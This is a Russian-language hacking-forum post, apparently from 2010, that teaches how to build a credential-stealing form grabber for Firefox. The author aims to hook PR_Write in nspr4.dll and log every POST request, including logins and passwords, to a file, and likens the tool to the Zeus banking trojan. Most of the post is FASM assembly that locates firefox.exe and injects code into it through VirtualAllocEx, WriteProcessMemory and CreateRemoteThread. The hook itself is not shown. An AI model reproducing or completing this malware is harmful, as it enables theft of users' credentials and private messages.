ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

FormGrabber для FireFox своими руками.
  #1  
Старый 05.02.2010, 16:54
krenki
Новичок
Регистрация: 23.03.2008
Сообщений: 24
Провел на форуме:
126110

Репутация: 14
По умолчанию FormGrabber для FireFox своими руками.

>>>>>>>> Внимание!!! Текс находящийся ниже описывает неописуемо бородатый баян.<<<<<<<<
>>>>>>>>>>>>Осторожно. В тексте используется нецензурная лексика на языке Assembler<<<<<<<<<<<<

Здравствуйте, дорогие низкоуровневые и высокоинтеллектуальные товарищи. Сегодня расскажу Вам, как извлечь полезную информацию из горячо любимого всеми браузера FireFox, а именно собирать всё, что отправляется POST запросом (логины,пароли,сообщения на форумах и соц.сетях и т.д.) Вывод этого имущества будет производится в файл(у нас будет C:\FireFox.txt)
Создадим конкуренцию Зевсу вить у нас получится что-то типа хэнд мэйд модуля для Лисы причём без всяких DLL. Выбирал язык для этих целей с особым извращением. В итоге выбор пал на FASM.

Наша цель:
перехватить(хукнуть) функцию PR_Write, в которую передаются в качестве параметров GET и POST запросы, а так же много чего интересного. Функция находится в DLL модуле nspr4.dll Это всё было обнаружено путём сложных астрономических вычислений и с помощью утилы API Logger by black ninja.

Для осуществления цели нам понадобиться знания тем:
1)Инжект своего кода в исполняемый процесс.
2)Cплайсинг API.
3)И программирование в стиле шелл код.(т.е. с дельта смещением)

Желание читать куда-то быстро испарилось? Не беда. Все темы хорошо описаны на wasm.ru , поэтому не вижу смысла тратить время на копи-паст. Ну чтож приступим....
Начнём с зад... извините, с конца, как принято. =)
Код:
  p_ent           PROCESSENTRY32

find_target:
    xor     esi,esi

 .shot:
        mov     [p_ent.dwSize],sizeof.PROCESSENTRY32
    invoke  CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,esi; <<< Делаем снимок процессов.
    inc     eax
    je      .not_found
    dec     eax
    xchg    eax,edi

    invoke  Process32First,edi,p_ent ; <<< Берём первый процесс из списка. 
	
; <<<<<<< Начинается перебор пока не найдём процесс под названием firefox.exe.>>>>>>>>>
 .next_prc:          
    xchg    eax,ecx
    jecxz   .not_found ; <<< В списке процессов имя FF не найдено поэтому прыгаем на .not_found

    invoke  lstrcmpi,p_ent.szExeFile,target_name ; <<< Сравнивание название процесса и переменная в которой лежит строка "firefox.exe".
    xchg    eax,ecx
    jecxz   .found ; <<< Если нашли прыгаем на метку .found

    invoke  Process32Next,edi,p_ent ; <<< Если строки не равны то берётся следующий процесс из списка.
    jmp     .next_prc

 .found: ; <<< Вот она Лиса. 
    invoke  CloseHandle,edi ; <<< Закрываем хэндл.
    mov     eax,[p_ent.th32ProcessID]; <<< Сохраняем ID процесса в eax.
    ret

 .not_found: ; <<< FF не найдена.
    xor     eax,eax ; <<< Обнуляем результат выполнения.
    ret
; <<<<<<< Окончание поиска firefox.exe. >>>>>>>>>

; <<<<<<< Внедрение кода в процесс firefox.exe. >>>>>>>>>
inject_code: 
    xor     esi,esi
    invoke  OpenProcess,PROCESS_VM_OPERATION + PROCESS_VM_WRITE + PROCESS_CREATE_THREAD,esi,eax; <<< Берём хэндл процесса FF.  

    xchg    eax,ecx
    jecxz   .exit ; <<< Если ошибка то выходим.

    xchg    ecx,edi ; <<< Хэндл процесса перемещается в edi.

    invoke  VirtualAllocEx,edi,esi,thread_end-remote_thread,MEM_COMMIT,PAGE_READWRITE ; <<< Выделяем страничку памяти в процессе.
    xchg    eax,ecx 
    jecxz   .close_h ; <<< Если неудача то закрываем хэндл.

    xchg    ecx,ebp ; <<< Хэндл странички перемещается в ebp.

    invoke  WriteProcessMemory,edi,ebp,remote_thread,thread_end-remote_thread,esi; <<< Пишем наш код на выделеную страничку. 
    ;remote_thread - указатель на начало внедряемого кода, remote_thread соответствено конец.
    dec     eax
    test    eax,eax
    jnz     .close_h ; <<< Если неудача то закрываем хэндл.
    inc     eax

    invoke  CreateRemoteThread,edi,esi,esi,ebp,ebp,esi,esi; <<< Бацаем удаленный поток в контексте процесса firefox.exe

  .close_h:
    invoke  CloseHandle,edi ; <<< Освобождаем хэндл процесса.

  .exit:
    ret
; <<<<<<< Внедрение кода в процесс firefox.exe окончено. >>>>>>>>>


start: ; <<<  Именно здесь начинает выполняться программа.
    call    find_target ; <<< Активизируем поиск процесса FF
    test    eax,eax
    je      .exit ; <<< Не нашли -> Выходим.


    call    inject_code; <<< Инжектимся в процесс FF.

  .exit:
    push    0
    call    [ExitProcess]; <<< The End... No!!! To be continue.

Последний раз редактировалось krenki; 05.02.2010 в 17:57..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обзор легального бесплатного ПО Sinay Soft - Windows 48 24.04.2010 20:08
Шпаргалки для сертификатов по Битрикс Liar PHP, PERL, MySQL, JavaScript 7 30.05.2009 10:13
Раскрутка сайта heks Статьи 15 15.02.2009 19:51
О законе. _-[A.M.D]HiM@S-_ Статьи 28 01.11.2007 12:25



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ